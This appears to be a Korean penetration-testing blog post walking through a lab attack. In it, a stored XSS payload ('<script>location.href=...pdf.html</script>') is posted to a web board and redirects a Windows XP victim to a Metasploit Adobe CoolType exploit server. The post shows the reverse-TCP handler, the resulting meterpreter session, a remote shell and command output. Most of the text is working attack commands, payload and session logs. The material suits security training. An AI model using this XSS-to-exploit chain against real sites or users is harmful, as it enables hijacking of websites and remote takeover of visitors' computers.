Linux/모의해킹

XSS 를 이용한 Victim 장악하기

GGkeeper 2022. 1. 25. 19:51

실습> XSS 을 이용한 Victim 장악하기

1. msfconsole 실행
이전에 연결되었던 부분을 모두 종료한다.
C:\WINDOWS\system32>exit
exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.108.105 - Meterpreter session 1 closed.  Reason: Died
msf6 exploit(windows/browser/adobe_cooltype_sing) > exit

[*] Server stopped.

msfconsole을 접속을 대기한다.
Attacker# msfconsole -r adobe_cooltype_sing2.rc
  :
  :(생략)
[*] Started reverse TCP handler on 192.168.108.102:4444 
[*] Using URL: http://0.0.0.0:80/pdf.html
[*] Local IP: http://192.168.108.102:80/pdf.html
[*] Server started.
msf6 exploit(windows/browser/adobe_cooltype_sing) > 


2. 게시글 글쓰기
blackhat/111111 로그인한다.

게시판5 -> 글쓰기 
이름 : blackat
제목 : SELinux 에 대해서 알고 싶어요.
비밀번호 : 1234
내용 : 
SELinux가 리눅스에서 있는데... 뭔가요 ?
<script>location.href="http://192.168.108.102/pdf.html"</script>


3. 글보기
Victim Windows XP가 글을 본다.

글을 보는 순간 XSS에 의해서 http://192.168.108.102/pdf.html 로 이동된다.

4. 악성코드 감염
Victim Windows XP가 글을 보는 순간 공격자쪽으로 리다이렉션 되므로 아래처럼 원격코드 실행 취약점에 의해서 악성코드에 감염된다.

  :
  :(생략)
msf6 exploit(windows/browser/adobe_cooltype_sing) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                Connection
  --  ----  ----                     -----------                ----------
  1         meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM  192.168.108.102:4444 -> 19
                                     _WINXP                     2.168.108.105:1058  (192.1
                                                                68.108.105)

msf6 exploit(windows/browser/adobe_cooltype_sing) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > shell
Process 784 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter  로컬 영역 연결:

        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 192.168.108.105
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.108.2


C:\WINDOWS\system32>exit
exit

'Linux > 모의해킹' 카테고리의 다른 글

CSRF 를 이용한 게시판 글쓰기 1  (0) 2022.01.25
str_replace() 함수 사용하기  (0) 2022.01.25
Adobe Acrobat Reader(pdf) 취약점을 이용한 침투  (0) 2022.01.25
XSS 취약점 찾기  (0) 2022.01.25
reflected XSS  (0) 2022.01.21